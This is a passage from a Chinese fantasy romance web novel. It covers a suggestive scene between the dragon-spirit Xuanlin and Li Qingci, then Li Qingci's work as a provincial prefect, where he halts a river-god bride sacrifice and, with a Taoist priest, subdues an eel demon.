他深呼了几口粗气,咬破自己的舌尖,将李青辞的脸摁在自己肩上,腾出右手快速掐诀,勉强压下情欲。 恢复人身后,他俯身趴下,去舔舐李青辞的腰侧。 一颗颗血珠被卷进嘴里,浅长的伤口在温柔的吮。舔下,渐渐愈合。 李青辞紧抿着嘴,僵着身子一动不动。 伤口附近的大片肌肤浮起细密的颗粒,绷紧的腰身轻轻战栗。 玄鳞见状,无奈地叹气,他起身坐直,手掌扣在李青辞腰侧抚摸,试图安抚他:“还疼不疼?” 李青辞摇头。 玄鳞搂着他,摸了摸他的脑袋,喉结滚动,发出低哑的嗓音:“我出去一趟,睡一觉就回来。” 睡一觉?睡多久。 十天半个月,三五个月,还是十年八年。 忽然,头顶的大掌离开,腰间一松。 李青辞心神一凛,立刻扑过去,死死抱住玄鳞:“不出去不出去!” 玄鳞刚起身,此时他单腿跪在床上,低头去看腰间搂着的手臂。 李青辞攥紧拳头,掩藏在袖子下的小臂,爆出一条条青筋,指尖过于用力,泛起苍白。 玄鳞随手一扯,缠紧的手臂如同软面条一般,被轻易搁在一边。 他推开背后黏着的人,压着火气,低声说话:“你乖乖听话,我睡醒了就回来找你,到时候给你带好吃的。” “不要!”李青辞抖着嗓子,立刻又缠上去,搂紧他的腰,惶然地开口,“为什么非要出去?” 玄鳞耐着性子同他解释:“小崽儿,我发情了,需要出去解决一下。” 李青辞胸口急促起伏,艰难地吞咽,嗓子涩得他说不出来话来。 他用力闭了闭眼,勉强找回声音:“别走,我,我可以帮你解决。” 玄鳞掐诀的手顿住,下意识顺着他的话想象。 视线一瞥,落在那截光裸的小腿上时,想入非非的念头倏然终止。 玄鳞深深喘了口气,背对李青辞,哑声开口:“小崽儿,你帮不了我,松手。” “能,我能!”李青辞语气急切起来,立刻跪爬到玄鳞身前,羞怯地朝他抿了抿嘴。 玄鳞怔住了,愣愣盯着那张水红的嘴唇,失神几瞬,随即闭眼叹气。 他用力咬着舌尖,逼退脑中的迷乱,低头捧住李青辞的脸,温声开口:“小崽儿,你太小了,接纳不了我。” 李青辞语气坚持:“能接纳,我可以张大一点。” 玄鳞眼神有一刹那的迷离,转瞬即逝,他按在李青辞唇上揉了揉:“这么小,再张也大不了哪去。” 李青辞抽了下鼻子,努了努嘴,抱着他不松。 白净脸颊上罩着的手掌又渐次浮起细密黑鳞。 玄鳞快压不住了,他推开人,冷下脸道:“你听话,别再闹脾气了。” 李青辞置若罔闻,再度凑过去抱他:“没闹脾气,我真的能接纳你,我会努力做好的。” “好了!”玄鳞加重语气,把他推开,“你听话,在家好好待着。” 李青辞跟没听见一样,像抓住救命稻草一样,紧紧攥住玄鳞一缕头发,扬着手臂去搂他的脖子,无助地喃喃:“别走,我能,能接纳。” “你怎么接纳!”玄鳞积压的火气猛然爆发了。 他掐着李青辞的后颈,把人拖到自己脸前,冷漠地命令:”张嘴。” 李青辞立刻照做。 玄鳞双指并拢,伸进他嘴里毫不留情地搅弄。 李青辞眉心登时蹙起,脑袋下意识往一旁躲,玄鳞扳着他的脸,定住他的脑袋。 手指压住舌头,强硬地往更深处探。 李青辞眯着眼睛,发出痛苦的呜咽声,眼尾登时滑下来两行泪珠。 对上那双漫着水色、满是无措的眼睛时,玄鳞心里又酸又软,还泛着细密的痛楚。 他抽出手指,别开脸,深深喘了口气。 右手快速掐诀,强行压下身上的鳞片,吞咽中,嘴里充斥着血腥味,舌头快被他自己咬烂了。 玄鳞抱着李青辞安抚,擦去他眼尾的水痕,凝视着他的眼睛,缓缓开口:“看到了吗,小崽儿,你真的太小了,两根手指都受不住,更何况我的其他,我的原形很庞大,比你大很多很多。” “别说一根,就连上面一根倒刺,你都吞不下去。” 喉结滚动,玄鳞缓了口气,继续说:“你嘴巴又嫩,多舔几下就要破皮,你根本不可能接纳我,你会被我捅死的。” 李青辞忍着喉间的干呕,泪眼朦胧地回望玄鳞,蠕动嘴唇想说话。 下一瞬,他脸上拂过一股热气,意识快速被拉入黑暗。 彻底昏过去前,他听见一道低沉的话语。 “乖乖听话,我过两天就回来。” 意识再度清醒时,李青辞茫然地眨动眼睛,不知今夕何夕。 缓了须臾,他才猛然想起昏睡前的事情。 李青辞立刻爬起来,瞪大眼睛,焦急张望。 满目漆黑,他摸索着找到枕畔的蚌壳,柔光倾泻而出。 室内空无一人。 又走了。 又走了!!!!!! 李青辞一把抄起蚌壳,连同那颗珠子狠狠砸在地上。 霎时发出刺耳的哐当声,夜明珠在蚌壳里剧烈弹跳,发出沉闷的咚咚声,像是有人拿着锤子在心头猛敲。 蚌壳被砸到地上,反弹到墙角,里头的珠子咕噜咕噜滚出来。 室内视线渐渐黯淡。 李青辞垂首,扶额静坐。 他攥紧手,竭力平复心绪。 静默中,天亮了,惨白的微光一点点照进室内。 李青辞放下僵硬的手臂,心下惶然,他快步走到墙角,捡起地上的蚌壳和滚在柜底下的珠子。 他拿到眼前仔细察看,蚌壳完好无损,那颗珠子中间却像霜花一样,遍布着细细密密的裂纹。 李青辞急促地喘了口气,他拿着珠子走到床边,钻进被窝里。 一片暗色。 那颗珠子只散发着莹莹的微弱光芒。 啪嗒! 一颗热烫的水滴砸在冰凉破碎的珠子上。 啪嗒,啪嗒…… 一声声极低的呜咽,闷在被子里,无人可闻。 …… 风吹过,落下漫天花雨,枝头花瓣凋零,结出一颗颗黄豆大小的青色果子。 李青辞站在门口,转身回望。 室内空无一人,但好像哪里都有那个黑色的身影。 有时候倚在榻上,有时候坐在桌前,有时候躺在床上。 “老爷都收拾好了,该启程了。” 赴任调令已经下达三天,没办法再等了。 李青辞转身离去,跟太夫人交代诸多事宜。 随后,他走到李巧妤身边,看着她盘起的发髻,感叹道:“都是大姑娘了。” 李巧妤撅着嘴,抽了抽鼻子,低头没说话。 李青辞打趣道:“再过不久,你就是有品阶的女官了,可不能在外面随便哭鼻子。” “我没哭!”李巧妤气恼地瞪他。 李青辞笑了一声:“好好,没哭。” 他摸了下李巧妤的脑袋,叮嘱道;“在宫里好好当差,遇见难平之事,不用委屈自己,回来跟你娘说,也可以给我寄急信,我虽然人不在京城,但兼着工部员外郎一职,在官场也有几个朋友,更何况咱们有钱,用钱砸也行。” 李巧妤破愁为笑,忍着离别的难过,咧嘴笑了起来:“知道了,哥!你到那边一定要好好的。” 李青辞点头,微微一笑。 高琼枝挥手,让车队启程:“走吧,别耽误了时辰晚上赶不到驿站,又不是什么了不得的事,过两三年就又回来了。” 话说得爽快,高琼枝眼周却泛起了红晕。 李青辞颔首,朝她恭敬一拜。 与母女二人辞别后,李青辞登上马车,孤身一人赴任。 这一行,从春走到夏。 第57章 第57章(加一更) 兴风作浪的妖物而…… 李青辞到任后,正赶上夏汛水患,淹了几百顷良田,地里颗粒无收,房屋倒塌,近千户百姓流离失所。 事涉生民存亡,李青辞身为知州,总揽州务,肩承重担,近五万户百姓的生计,全交托他一人之手,李青辞心有惴惴,丝毫不敢懈怠,事必躬亲。 月余来,他时常奔波在河道、乡野间视察民情,设粥棚赈灾。 等此灾难过去,又迎来秋收,李青辞没得片刻闲暇,一天十二个时辰,他有八九个时辰都在忙碌。 要负责征收田赋、丁税,督促里甲、粮长完成税粮上缴,调节粮价,并核查账目以防贪腐。 要定期巡查辖境,考察农桑、治安,记录民情上报。 到任不过两三个月,整个人瘦了两圈。 这年,一入冬,就连下了三天暴雪,许多百姓冻伤、牲畜冻死。 州里的粮仓只够吃七天了,着实没办法,李青辞冒着大雪天,策马前往府里请求拨粮赈灾。 饶是他身上穿着玄鳞给他做的披风,回来仍是病了一场。 好在冬日州衙里的公事不多,李青辞也算因祸得福,忙里偷闲了三五日。 第二年开春,刚解了冻,李青辞就督促人修整河堤、堰坝。 春日里一切进展顺利,岂料一入夏,就诸事不顺,意外频发。 筑坝用的工具总是无缘无故的损毁,农夫做工时,也经常莫名其妙落水。 李青辞几番令人查探,什么都没查出来。 无奈之下,他只好夜里处理公文,白天待在河堤盯着。 走在坝上巡察时,他总觉得背后有窥伺之感,可几次猛地转身,皆一无所获。 李青辞只好按下那股莫名的怪异。 这天。 李青辞骑着马,照例在堤坝上巡视。 远远的,他听见一阵敲敲打打的声音。 是喜乐。 李青辞心里不禁疑惑,怎么会有人在河堤上成亲。 他策马走近去看,只见场面闹哄哄的。 一架嫣红小轿走在前头,后边跟着三辆驴板车,分别拉着猪牛羊。 在嘈杂声中,李青辞听见一道尖锐的女子哭喊声。 紧接着,人群中出现骚乱,一个身穿红色嫁衣的姑娘,挣脱手上的麻绳,从轿子里跳出来。 新娘子哭着闪躲,她拼命挣扎,摆脱众人的拖拽,朝着李青辞飞奔而来。 “大人!大人!你救救我!我不想死!” 新娘子一把扑倒在马前,砰砰磕头。 李青辞当即翻身下马。 新娘子立刻爬起来,躲在他身后。 李青辞挡在前面,沉着脸,看向朝他逼近的人群。 前来拉扯新娘的村民,见李青辞穿着官服,神色严肃,都踟蹰着没动。 这时一位白胡子的老头,手持拐杖,从众人身后缓缓走出。 他朝李青辞拱手:“小民见过知州大人。” 李青辞扫他一眼,神情威严:“发生了何事?” 白胡子老头朝身后指去:“小民张子禄,是此地甜水乡的乡约,我们这是在祭河神,以求今年风调雨顺,不闹水患。” 李青辞拧眉:“祭河神?怎么祭,详细禀来。” 张子禄三言两语交代一番:“大人刚上任,对此事不了解,其实祭河神此事简单,只需要上供猪牛羊各三头,投入河中后,在河边唱诵,跪地焚香祷告,河神看到我们的诚心,便会收下祭礼,今年我们乡就不会闹水患了。” 李青辞对当地民俗不做评价,只问:“这新娘子是怎么回事?” 张子禄答道:“半月前,河神显灵,说他看我们乡诚敬,便赐下恩赏,愿意纳我们乡的女子为妻。” 他指了指新娘子,笑道:“这个姑娘,真是得了天大的福气,被河神挑中,今后就位列仙班,有享不完的福喽!” 李青辞敛下眼皮,掩藏那股呼之欲出的鄙薄。 这么厚颜无耻、冠冕堂皇的话,他实在听得恶心。 缓了缓,他抬起眼,神色如常道:“本官着实好奇,这是怎样的一位河神?该如何拜会?” 谈及此,张子禄神色紧张起来,他语焉不详,含糊交代几句,身后众人也一脸怯色地望向河边,面带惊恐之色。 含含糊糊的,李青辞就听出来这条河里住着一位法力高深的河神,至于河神长什么,从哪里来,怎么得见,一无所知。 见他们那副畏惧的模样,李青辞也没再追问,他扯了扯嘴角露出一抹温和笑意,看着张子禄,缓声道:“你是这次祭河神的主事吗?” 张子禄神色缓和下来,眉眼流出得意之色,他捋了捋胡子,笑着回答:“正是,小民不才,仗着年岁大些,略识得几个字,被乡亲们推举为此地的乡约,常年主持祭河神一事。” 李青辞点头,神色倏地一冷:“不管你们有何隐情,将一个活生生的人投入河中,此乃戕害人命,有违大雍律法,本官绝不能坐视不管!” 他抬手,命令身后衙役:“拿下此人,带回大堂审讯!” 这时,河道的巡检长,快速凑到李青辞耳边低语。 原来此地闹水患,除去天灾外,还有人祸。 说人祸也不太恰当,因为兴风作浪的是妖物。 虽说这里河水常年泛滥,但若是加固河堤,修整堰坝,水患是可以避免的。 可是近十年来,无论河堤修得多高,堰口多坚实,一到汛期,就跟纸糊的一样,频频决堤。 奇怪的是,每次水患波及的区域,都控制在一个不大不小的范围??内,没有伤及村民的性命,但是农田、房屋屡屡被淹,百姓有家有地却形同虚设,都搭建草棚子住,衣食不保。 河里打鱼的渔夫,好好呆在船上,经常无故掉进水里,上一瞬还是平静的水面,下一瞬却漩涡骤生,将整条船往水里拖。 渔夫呛水昏死过去,等醒来时却又莫名其妙躺在岸上。 类似的事,常有发生,直到一位渔夫,说他见到了河神,河神不满他们吵闹,这才降下惩罚,要是想平息河神怒火,便要虔心上供。 此事慢慢传开了,众人将信将疑,在夏汛来临之前上供,果然他们那几个村子没再闹水患。 从此以后,河神一说落实,当地村民节衣缩食,兑钱年年上供。 李青辞听完,多日以来的疑惑终于解开。 他在查探往年案卷时,发现甜水乡这一带所受水患最小,农田只淹没浅浅一层,不影响秋收。 原来如此。 若是能以猪牛羊等牲畜,换来此地太平,李青辞也就认了,但是涉及人命,他绝不姑息此种恶行。 李青辞扬手一挥:“将这人连同新娘子一起带回州衙。” 衙役班头是甜水乡的人,见李青辞要破坏祭祀,妨碍河神娶亲,不免担忧。 他朝其余几人使眼色,众人踟蹰起来,不知该听谁的。 一个是顶头上司,一个是知州大老爷。 李青辞神情严正,沉声道:“本官是此地知州,本官绝不允许自己辖内,出现这种罔顾律法、戕害百姓的恶行。” “今日,你们谁敢不听令,往后就不用在州衙供职,且你们往下三代,皆不许在州衙任职!” 众人一听,知晓李青辞是铁了心要管此事,为了保住自己的职位,他们心一横,立刻上前将人拿了。 张子禄拒不抗命,挣扎着大喊:“知州大人!你这样做会触怒河神,他会降下惩罚的!” “你得罪了他,不会有好下场,我们也不会有好下场,都会受牵连的!知州大人,您三思啊!” 李青辞眼神讽刺,冷眼看着不远处的河面。 什么河神,驱使百姓上供、践踏人命的东西,也配称作神,兴风作浪的妖物而已。 况且,此地的水患本就是这妖物推波助澜,要不是它暗中破坏堤坝,何至于水患不止。 给它上供,跟认贼作父有何两样! 对于众人的叫骂声,李青辞置若罔闻,翻身上马,朝州衙驰去。 等他们回到州衙,大门口被甜水乡的百姓围得水泄不通,他们每个人的脸上都带着怒容,可谓群情激愤,皆一脸不善地盯着李青辞,仿若视他为杀父仇人一般。 众人拦在李青辞马前,纷纷叫喊着要李青辞放人,立刻把河神的新娘子还回去,不要妨碍河神娶亲。 李青辞命令衙役列队而出,将众人阻拦在大门外。 他不疾不徐穿过人群,走进正堂。 李青辞端坐上首,猛一拍惊堂木,厉声喝道:“跪下!” 张子禄登时吓得哆嗦,腿不由自主地软了下去。 李青辞冷眼扫他,置之不理,转而抬手:“将这名女子的家人唤来。” 不久后,这名女子的父亲来到堂上。 新娘子一看见他爹,吓得发颤,流着泪往衙役身后躲。 李青辞发问:“你女儿被投河,此事你是否知晓?” 刘麻子是个混不吝,现下又喝了酒,他醉醺醺道:“知道,卖了她,我得了二十两银子呢。” 新娘子哀哀哭了起来。 李青辞瞥她一眼,身形单薄,面容稚嫩,小姑娘也就十四五岁。 他收回视线,盯着堂下的刘麻子,狠拍一下惊堂木:“大雍律法,载有明文,父母卖子女者,杖一百,没收家产,流放三千里,你有违律法,本官断不能饶你!” 刘麻子的酒劲儿被这一声惊响,还有这晴天霹雳一般的沉喝声,吓得魂飞魄散。 他登时跪在地上,大声喊着冤枉:”我卖的是自己闺女,碍着别人什么事了,我怎么就犯法了。” 李青辞对他的叫喊声置之不理,抬眼望向一旁的书吏:“你去大门外,把罪名念给众人听。” 书吏照做,走向堂外,站在门口,高声诵读大雍律法。 “拐卖良民者,主犯处绞刑或斩首,家产没收,家眷流放,买家、窝藏者同罪。” “父母卖子女者,杖一百,没收家产,流放三千里。” “……” 百姓为了生存被迫卖儿卖女的事,常有发生,虽有违律法,但经常被轻拿轻放。 一些官员、富商常以过继为名,买卖家丁、婢妾,打死了人,草席一卷往河里一扔了事。 官府对此态度暧昧,可以说是默认。 李青辞眼里容不得沙子,律法煌煌,容不得任何人践踏。 此事比买卖人口更为恶劣,是直接逼着活生生的人去死。 李青辞站起来,朝着堂外,扬声道:“今后,胆敢有明知故犯、挑衅律法者,本官必定严惩不贷!” 刘麻子哭得一把鼻子一把泪,大声哀嚎:“小人大字都不识一个,哪里知道律法呀,大人!你着实冤枉小的,我这闺女不卖了还不成吗,我把钱退回去。” 李青辞冷眼看他。 官府每年都到村中教化百姓,即使大字不识一个,但是像这种罪行律例都是耳熟能详的。 这男子分明为了推诿自己的罪状,耍赖不认。 这时,新娘子哭了起来:“大人,你别流放我爹。” 李青辞沉默不语。 刘麻子哭天抢地:“大人!小的冤枉啊!我真不知道卖自己的闺女竟然犯了律法,小人再也不敢了,我这就把银子退回去。” 李青辞摩挲着惊堂木,暗叹一声。 他抽出两支红色令签,掷在地上:“念你是初犯,认错态度良好,且事先不知律法,本官便对你网开一面,免你流放之苦,罚你二十杖,外加十年劳役。” 刘麻子一听,又要喊冤。 李青辞啪的一声,拍着惊堂木:“你服是不服?” 刘麻子抿了抿嘴,没敢再言语。 李青辞抬手。 衙役立刻拖走刘麻子,拽在一旁行刑,厚重的木板打在皮肉上,发出沉闷的声响,听得人心头直跳。 刘麻子的嘴被麻布塞得严严实实,发不出声音,只能呜呜直流泪。 大门外的百姓见状都心有戚戚,其中一位身着蓝色道袍、头戴冠巾的中年男人,略有所思地盯着李青辞打量。 李青辞转眼看向那名新娘子:“你可愿同你父亲归家?” 新娘子紧咬着嘴唇,不说话,只一声一声哭泣。 她爹在家对她非打即骂,眼下更是不顾亲情,要把她卖了去送死,她就算归家也捞不着什么好,可是不回家她又能去哪儿呢? 大堂内回荡着凄切、绝望的哭声。 李青辞叹了一声:“先将这名女子带到后堂。” 哭声渐远。 李青辞看向堂下的张子禄:“方才的事,你都看见了,怎么做就看你了。” 张子禄吓得一身冷汗,浑身哆嗦,他这一把老骨头,几十板子下去,他还有命活吗? 他当即磕头,磕得砰砰响:“大人,这姑娘不是我买的啊!是刘麻子自己说,他女儿自愿嫁给河神,但是他少了一个女儿侍奉,怕晚年凄凉,所以我们乡里几个村子兑出二十两银子弥补他。” “这都是他们父女二人自愿的,我们可没有强行逼迫。” 李青辞冷笑一声。 张子禄立即改口:“但是小民已经意识到这种行为不妥,我决计不再犯,小民愿意拿出十两银子,弥补那位姑娘受到的惊吓,并且愿意再拿出一百两银子捐给州衙,以供修建河堤。” 李青辞挑眉,还算识时务。 这人是乡约,在当地也是有头有脸的大户,不好把人逼得太过,此后,州衙行文下令,还需要他配合。 李青辞缓下神色:“你虽行为恶劣,但诚心悔改,本官便宽佑你一次,回去你要约束乡里,确保此事不会再犯,若有第二次,抄家流放,本官定不饶你!” 张子禄连声应和:“是是是,小民记住了,绝不敢再犯。” 一番兵荒马乱,直到日落,才终于了去此事。 稍作歇息。 李青辞走到后堂,喝了口茶,朝那名仍在哭泣的新娘子道:“州衙后厨缺一个帮工,每月薪酬一两二钱银子,你可以与其他两位做工的妇人,同住州衙的偏房里,不知你是否愿意?” 新娘子闻言大喜,当即跪下磕头:“愿意愿意!民女愿意,多谢大人救命之恩!民女实在无以为报。” 李青辞起身不受:“不用跪,本官无恩与你,这是本官职所当为之事。” 第二日天不亮。 李青辞就早早起床,稍作收拾后,策马朝河堤去。 刚到近前,就有三四个人来禀报。 “大人,刚买的一批铁锹,棍子莫名其妙全被掰断了。” “大人,我这也是,这一排二十个竹筏,全都齐刷刷被劈成了两半。” 两个人湿漉漉的互相搀扶着,朝李青辞哭诉:“大人,这活计,我们是不能再干了,再干下去,小命都要没了。” 他们眼中的畏惧呼之欲出,还有掩藏在暗处的埋怨,心里都在指责李青辞得罪了河神,连累他们遭殃。 人怎么能斗得过妖啊。 李青辞扫他们一眼,沉吟片刻:“河道工程先暂停一天,本官会解决此事。” 当日下晌。 李青辞去当地驻军卫所,调来五百名兵丁,驻守在河堤。 这些兵丁都是上过战场、杀过人的,一身杀伐之气,身上盔甲泛着幽光,手握的长枪,枪尖寒芒闪烁,萦绕着散不去的血气。 第二天,工程照样进行,工具损坏、民夫落水之事,频次骤减,但仍有看顾不到的地方。 李青辞心下恼怒,他在这里监工三月有余,只见被损坏的东西,不曾见这妖物的身影。 到底是什么玩意儿,也敢大言不惭称自己为河神,一个只敢暗中使坏,藏头露尾、见不得人的龌龊东西。 李青辞朝着河中探看,越想越气。 他低着头,拧眉思索,骤然,脚下石头松动,土地塌陷。 这时,他背后传来一股巨大的拉拽力道,他不受控地连连后退,直直朝水下跌去。 身旁跟着的衙役,见状惊呼,连忙去拉他。 可是衙役离得颇远,鞭长莫及。 李青辞咬紧牙关抵抗,仍是被这股力道往河中拖拽。 电光火石间,从斜刺里突然蹿出一个蓝袍道人,只见他三两步越过众人,一把将李青辞拉了回来。 他右手手指翻飞,几乎能见残影,他眼神一凛,嘴唇蠕动,朝河面低喝一声。 泛起波澜的河水,霎时平静下去。 李青辞一脚深陷在淤泥里,冰凉的泥水没过小腿,深沉的寒意从他脚底一路窜升至头顶。 李青辞惊魂不定地喘着气,刚才那种感觉他很熟悉。 拽他的东西是妖。 平复呼吸后,李青辞拱手朝蓝袍道人道谢:“多谢您出手搭救。” 张书亭还礼,低声道:“知州大人,可否借一步说话。” 李青辞用力抬腿,拔出深陷淤泥里的脚,朝他伸手:“请。” 两人行至一旁僻静处。 蓝袍道人直言:“贫道张书亭,是京郊国芳观的道士,两个月前,我游历到此,偶然发现,这里有一只水妖在兴风作浪,奈何贫道法术不精,凭一己之身不能将它降服,却又不忍它在此为祸百姓,只好逗留此地,思索解决之法。” 李青辞诧异:“你是国芳观的道士?” 这人他在国芳观从未见过,看着约莫四十岁上下,面容慈善,眼神坚毅,确有几分仙风道骨之姿。 张书亭同样诧异:“怎么?知州大人同国芳观有渊源?” 李青辞道:“我母亲的牌位供奉在国芳观,是以我常去贵观。” 张书亭轻叹一声:“原来如此。” 李青辞面容带笑:“贵观冬日的斋饭极佳,后院有一棵棠梨树,果子甚是甘甜。” 张书亭也笑了起来:“我观的斋饭确实闻名京畿,那棵棠梨树是我观薛陵薛先祖手植,距今已有四百七十余年,那时,还引来一只孔雀住在树上。” 李青辞捏了捏手指,没有谈及孔雀的事情,转而问道:“你此番喊住我,是想到应对之法了吗?” 张书亭坦言道:“是,我已经想到办法,但是需要知州大人配合。” 李青辞道:“张道长请说,我愿倾力配合。” 张书亭叹了口气,无奈道:“其实这法子简单,知州大人去一趟巡抚衙门,向巡抚大人陈情,借来王命棋牌,我再以大人为阵眼,布下捆缚阵法,借您的官威和王命紫气降服此妖。” 这叫简单? 李青辞听完,忍不住皱眉。 张书亭当即解释:“知州大人不必担心,此法不会对您造成危害,我可保大人安然无虞。” 李青辞一怔,意识到他想岔了,便摇头轻笑:“我是在思索如何向巡抚大人借来王命棋牌。” 王命旗牌由一面上书“令”字的蓝色旗帜外加一个圆形牌子组成。 王命旗牌是皇帝授予地方大员,如总督、巡抚或钦差大臣的一种特权信物,象征代行皇权。 这种东西怎么会随随便便交给他一个五品官呢。 张书亭也知道此事不易,但他着实出不上力。 他一个云游道人,一介白身,巡抚大人怎么可能见他。 两人对视一眼,眼中皆是无奈。 张书亭拱手道:“此事只能劳烦知州大人,若您都借不来,其余人更没办法了。” 李青辞低头,碾了碾脚上腐臭的淤泥:“我会想办法借来王命棋牌,这几天请道长先住在州衙吧,若您白日无事,可来河堤镇一镇这妖物。” 张书亭肃然道:“大人放心,贫道与这妖物交手过几回,虽不能降伏它,但震退它还是能做到的。” 李青辞不禁起了好奇的心思,询问道:“这河神到底是个什么东西?” 张书亭捋了捋胡子,沉吟道:“若贫道所猜不错,它应当是条鳝鱼精,最起码有两百年的道行了。” 两百年,比凡人的寿命高出两三倍,可李青辞听完,第一反应竟然是不屑,才两百年,玄鳞可是一千年的蛟。 李青辞问道:“两百年的妖很难降伏吗?” 张书亭道:“这不能一概而论,就像人一样,我年逾四十,却不如白云观那位未及冠的师弟厉害。” “每只妖也不同,一百年的熊妖天然就比两百年的兔妖厉害,这条两百年的鳝鱼精,道行不算很高,但它借着水势之利,威力得以大增。” 李青辞一脸受教地点头。 张书亭又道:“妖精这东西既简单又复杂,道行深浅不能决定降伏它的难易程度,刚开智的狐狸就极难捉拿,而有些千年大妖,只要找准死穴,刚入行的道士也能将其降伏。” 李青辞垂着眼皮,沉默不语,神色若有所思。 “大人。” 得到一片沉默。 “大人!”张书亭又唤了一声。 李青辞猛地回过神,歉然一笑:“张道长有何事?” 张书亭掏出一枚符纸递给他:“大人带上这个,这一袭击落空,难免那鳝鱼精不会暗中报复大人。” 李青辞接过,诚挚道:“多谢张道长。” 第58章 ……好好好,去去去!…… 接下来,一连两日。 李青辞一直待在州衙,翻阅底下人呈上来的情报。 认真准备一番,他拿着一本册子,站在一处民宅外,伸手拍门。 此处,住着一位已逾七旬的老妇人,是巡抚大人的长嫂。 巡抚大人自幼由这位长嫂抚育长大,长嫂如母,巡抚大人几次跪地请求,想将长嫂接到省里去住,由他奉养晚年。 妇人皆不受,独自寡居于此。 拍门声响起后,里头传来一声苍老的声音:“谁啊?” 李青辞道:“晚辈李青辞,目前在咱们这儿任知州一职。” “不见!快走!“原本和蔼的声音登时冷漠下去。 李青辞没走,他拿着册子,站在门外高声朗读。 语速缓慢地念着近五年因水患致死、致伤的百姓人数和被淹没毁坏的农田庄稼。 念了半晌。 吱呀一声,门开了。 一位面容庄严的老妇人,视线锐利地盯着李青辞:“你想要老身做什么?” 李青辞深深揖拜:“恳请您给巡抚大人写一封信。” 五日后。 李青辞和一队押运王命棋牌的亲兵,回到了春源州。 已近晌午,天色依旧阴沉。 李青辞站在河堤上,望着翻涌的河水。 他居于阵法中央,一手执旗,一手握令牌。 周身萦绕着一股凡人肉眼看不见的紫气。 张书亭手持桃木剑,立于河畔礁石之上,他道袍猎猎,目光如炬地盯着河中那团翻滚的晦影。 他朝河中掷去一张燃着烈焰的符纸,大喝一声:“孽障!你在此兴风作浪,害人性命,今日贫道便替天行道!” 河水骤然炸开,一条巨大的黑影破水而出——那是一条通体暗褐色、脊背泛着幽光的鳝鱼精。 它被迫现身,心中恼怒非常,双目赤红如血,尖牙细密锋利,望之森然,令人不寒而栗。 李青辞眯眼打量,鳝鱼精昂在水面的身躯,还没他的腰粗。 李青辞撇嘴嫌弃。 真细。 “又是你!臭道士,多管闲事!”鳝鱼精嘶吼着,掀起丈高的浪头扑向岸边。 张书亭不慌不忙,脚踏七星步,手中桃木剑凌空一划,一道金光迸射而出,将巨浪劈成两半。 他左手掐诀,口中念念有词:“天地无极,乾坤借法!雷神助我,诛邪灭妖!” 霎时间,乌云密布,雷声轰鸣。 鳝鱼精左右闪躲,扭曲着身躯快速逃离,奈何,自李青辞身上溢出的紫气将它定在丈圆之间,无法逃脱。 一道闪电劈落,正中鳝鱼精脊背。 鳝鱼精吃痛,发出凄厉的惨叫,见逃回水底不成,它弓着脖颈,朝李青辞怒吼:“你是个什么官,糊涂昏聩,是非不分,我又没杀人!你凭什么拿我!” “还有你!”赤红的眼睛射向张书亭,“冤枉我害人性命!你有什么资格替天行道!” 李青辞面色冷沉,迎着猎猎狂风,高声道:“你是没有直接害人性命,可因你无辜枉死的百姓达百余之数!” “你暗中毁坏堤坝,兴风作浪,屡屡掀起水患,造成农田、房屋被淹,多少人因你无家可归、流离失所,你还敢狡辩,妄称自己无辜!” 鳝鱼精气急败坏道:“反正我没有直接杀人,你们少把这些莫须有的罪名按在我头上,我不服!” 李青辞冷嗤一声,正欲开口,张书亭打断他:“大人,不用跟这种冥顽不灵的孽障废话,待贫道引雷,直接殛了它。” 河流上方,滚滚天雷欲要降下。 “你不能杀我,我没有杀人!”鳝鱼精嘶吼,身躯疯狂拧动。 张书亭置之不理,一挥桃木剑,朝天引雷。 李青辞稍作犹豫,断然喝止:“道长且慢!” 张书亭手上一顿。 李青辞道:“它已经做下恶行,造成恶果,杀了它也于事无补,不如留它一命,让它将功补过。” 张书亭拧眉沉思。 鳝鱼精当即朝李青辞垂首:“你是个明事理的好官,我愿意归顺你,你想让我做什么,我都愿意,但求你饶我一命!” 李青辞没理他,面朝张书亭:“有法子制住它吗?让它留在此地平息水患,减缓汛潮,若水中落人,也可让它搭救。” 鳝鱼精立刻顺着李青辞的话说,表彰自己的能力:“我很厉害的,我还能帮你们筑坝,有我在,你们的河堤绝对不会再决口。” 张书亭略一沉吟,叹道:“罢了,那就留它一命,让它将功折罪。” 一听自己不用死了,鳝鱼精大喜过望,它冲着李青辞和张书亭俯首:“我一定好好改过!” 张书亭从袖中甩出一张朱砂符箓,借一股李青辞身上的紫气溶于符纸。 又甩出一条锁链,将符纸附在其上,锁链顿时闪烁金光,如利箭般射入水中,正正锁在鳝鱼精脖颈处。 张书亭神情严正,语气严厉:“念你诚心悔过,贫道便饶你一命,镇你于此处,你要一心向善,若你再兴波澜,登时便会降下天雷,劈散你的魂魄,让你永世不得超生!” 鳝鱼精脖颈被锁链捆束,语气艰难道:“我知道了,我一定听话,好好弥补过错。” 张书亭朝李青辞问道:“大人,您还有什么要和这孽障交代的吗?” 李青辞正盯着鳝鱼精身上的锁链,回过神来,询问道:“这锁链能困住它多久?” 张书亭自信道:“此链借了紫气,它受困无法继续修行,少说也能困他百年。” 李青辞嗯了一声,低头敛目。 张书亭补充道:”大人不必担忧百年之后的事,此妖所犯恶行,已上达天听,若他届时再犯,自有天谴等着它。” 李青辞微微一笑:“如此再好不过。” 张书亭剑指一引,锁链拖着鳝鱼精沉入河底,水面渐渐恢复平静。 他收起桃木剑,掸了掸道袍,朝李青辞拱手:“此妖已除,贫道要去别处游历了,大人,日后有缘再会。” 李青辞颔首,作揖道:“张道长一路坦途。” 蓝色道袍渐行渐远,岸上只余李青辞一人,他盯着平静的河面,站立良久。 …… 没了妨碍,河道工程如期顺利完成,当年夏秋没有再发过水患。 李青辞终于有了空闲的时间。 他穿着便服,一个人走在城中的青砖路上。 刚下过雨,空气异常湿润,他推开朱红大门,走进屋里,拿着湿帕子,慢慢擦洗房间的物什。 这是他一年前租的房子,只不过一直空着,隔十天半个月来一趟擦洗。 一直没人住,李青辞来的次数越来越少。 晚间。 下起了鹅毛大雪,李青辞忙完公事,一时又没有困意,就坐在廊下看雪。 青灰的石砖很快被雪白覆盖。 一转眼,雪化了。 桃花绽放,柳枝吐芽。 傍晚。 下起了雨。 雨丝又细又密,下得又急,像是起了一层雾。 青砖黛瓦被薄纱般的烟雨笼罩着,远处的山峦在雨中若隐若现,青石板上泛着湿润的光泽,屋檐下的雨滴串成晶莹的珠帘,空气中弥漫着泥土与青草的芬芳。 李青辞坐在廊下看雨,视线暗昧不清,他起身去点灯。 突兀的。 一道墨色身影穿破白茫茫雨雾,朝着廊下款款走来。 男人神色慵懒,步调不紧不慢,却三两步走到了李青辞近前。 